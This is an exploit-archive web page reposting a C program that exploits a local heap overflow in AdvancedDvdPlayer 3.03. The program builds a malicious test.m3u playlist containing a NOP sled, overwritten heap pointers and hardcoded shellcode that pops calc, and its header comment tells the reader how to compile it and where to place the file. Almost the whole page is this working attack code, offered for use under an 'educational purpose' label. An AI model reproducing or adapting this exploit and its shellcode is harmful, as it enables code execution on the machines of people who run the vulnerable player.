首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
AdvancedDvdPlayer Local Exploit
来源:aksuumit[AT]hotmail.com 作者:GoTr00t 发布时间:2011-10-08  
/*
  Not so usual exploit method 
  Local Heapoverflow exploit
  An Advanced Exploit For An AdvancedDvdPlayer ;)
  02-10-2011
  
  AdvancedDvdPlayer 3.03
  Download Link : http://download.cnet.com/Advanced-DVD-Player/3000-2139_4-10310889.html?tag=mncol;3
  Tested on WinXP SP3
  
  Compile and make a playlist and name it test.m3u, then run this en put the new test.m3u in de 
  \Program Files\AdvancedDVDPlayer folder then run 
  
  Old application but i wanna show this way of exploitation for educational purpose.
  
  Owned by GoTr00t!
  mail:aksuumit[AT]hotmail.com
  
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>



char scode_calc[] =    "\x33\xDB" // xor EBX,EBX
                       "\x33\xD2" // xor EDX,EDX
                       "\x33\xFF" // XOR EDI,EDI
                       "\x33\xF6" // XOR ESI,ESI 
                       "\x33\xC0\x50\x68\x43\x41\x4C\x43"  
                       "\x8B\xCC\x51\xE8\x10\x92\x53\x76"; // Hardcoded shellcode addresses!

int main(){
    
    char exploit[1000];
    char NOPS[303];
    memset(NOPS,0x90,sizeof(NOPS));
    
    char shellcode[] = "\x33\xc0\x50\x68\xA0\xA0\xA0\x41"
                       "\x68\x57\x4E\x45\x44\x68\x52\x45\xA0\x4F"
                       "\x68\x4F\x55\xA0\x41\x68\xA0\xA0\xA0\x59"
                       "\x8B\xCC\x50\x51\x51\x50\xE8\xFD\x05\xd6\x7c"; // hardcoded addressed!

    // 016F018C pointer to the pointer
    char EAX[] = "\x8C\x01\x6F\x01";
    
    strcat(exploit,"1\n");
    strcat(exploit,NOPS);
    strcat(exploit,"\x90"); // strange but without it my compiler wont compile it good ?
    strcat(exploit,EAX);
    strcat(exploit,"\x6C\x01\x6F\x01");       ////// 016F016C pointer to the actual call address      
    strcat(exploit,"\x94\x01\x6F\x01");       //// 016F0194
    strcat(exploit,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");
    strcat(exploit,scode_calc);
    strcat(exploit,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");
    strcat(exploit,shellcode);
    strcat(exploit,".mpg\n");

    FILE *fp;
    fp=fopen("test.m3u","w");
    
    fprintf(fp,exploit);
    fclose(fp);
    
    return 0;    
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Quick easy ftp server 4.0.0 US
·Linux Kernel 2.6.25 2009 Local
·Destiny Media Player Local SEH
·Linux Kernel 2.6.17 x86i386 Lo
·Linux kernel 2.6.182 Local Roo
·Linux X86 Addnew Users 'root'
·kernel-2.6.30 2010 Local Root
·Linux x86 Blind Port 1122 Conn
·52 byte Linux MIPS execve
·Linux kernel-2.6.18-6 x86 Loca
·BlazeVideo HDTV Player 6.6 Pro
·Linux Kernel el5 Local root Ex
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved